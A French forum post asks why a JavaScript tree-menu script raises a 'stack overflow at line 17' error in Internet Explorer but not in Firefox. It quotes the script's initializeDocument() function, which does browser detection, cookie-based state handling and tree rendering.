stack overflow at line 17

Bonjour,

Dans IE, à l'affichage de ma page jsp, j'ai eu ce message : stack overflow at line 17. D'après ma lecture, j'ai constaté que c'est à cause d'un appel à une fonction récursive, or, moi j'en ai pas de fonctions récursive :calim2:

voici ce qui est écrit à la ligne 17 ma page jsp :

Code:

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<SCRIPT>initializeDocument()</SCRIPT>

et le code de la fonction initializeDocument() :
[CODE]

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function initializeDocument() 
{ 
  preLoadIcons();
  switch(navigator.family)
  {
    case 'ie4':
      browserVersion = 1 //Simply means IE > 3.x
      break;
    case 'opera':
      browserVersion = (navigator.version > 6 ? 1 : 0); //opera7 has a good DOM
      break;
    case 'nn4':
      browserVersion = 2 //NS4.x 
      break;
    case 'gecko':
      browserVersion = 3 //NS6.x
      break;
    case 'safari':
      browserVersion = 1 //Safari Beta 3 seems to behave like IE in spite of being based on Konkeror
      break;
	default:
      browserVersion = 0 //other, possibly without DHTML  
      break;
  }
 
  // backward compatibility
  if (PERSERVESTATE)
    PRESERVESTATE = 1;
 
  supportsDeferral = ((navigator.family=='ie4' && navigator.version >= 5 && navigator.OS != "mac") || browserVersion == 3);
  supportsDeferral = supportsDeferral & (!BUILDALL)
  if (!USEFRAMES && browserVersion == 2)
  	browserVersion = 0;
  eval(String.fromCharCode(116,61,108,100,40,41))
 
  //If PRESERVESTATE is on, STARTALLOPEN can only be effective the first time the page 
  //loads during the session. For subsequent (re)loads the PRESERVESTATE data stored 
  //in cookies takes over the control of the initial expand/collapse
  if (PRESERVESTATE && GetCookie("clickedFolder") != null)
    STARTALLOPEN = 0
 
  //foldersTree (with the site's data) is created in an external .js (demoFramesetNode.js, for example)
  foldersTree.initialize(0, true, "") 
  if (supportsDeferral && !STARTALLOPEN) {
      foldersTree.renderOb(null) //delay construction of nodes
  }
 
  else {
    renderAllTree(foldersTree, null);
 
    if (PRESERVESTATE && STARTALLOPEN)
      storeAllNodesInClickCookie(foldersTree)
 
    //To force the scrollable area to be big enough
    if (browserVersion == 2) 
      doc.write("<layer top=" + indexOfEntries[nEntries-1].navObj.top + ">&nbsp;</layer>") 
 
    if (browserVersion != 0 && !STARTALLOPEN)
      hideWholeTree(foldersTree, false, 0)
  }
 
  setInitialLayout()
 
  if (PRESERVESTATE && GetCookie('highlightedTreeviewLink')!=null  && GetCookie('highlightedTreeviewLink')!="") {
    var nodeObj = findObj(GetCookie('highlightedTreeviewLink'))
    if (nodeObj!=null){
      nodeObj.forceOpeningOfAncestorFolders()
      highlightObjLink(nodeObj);
    }
    else
      SetCookie('highlightedTreeviewLink', '')
  }
}

en faite, ce script est celui d'un tree en javascript.

en firefox j'ai pas ce problème

Merci de m'aider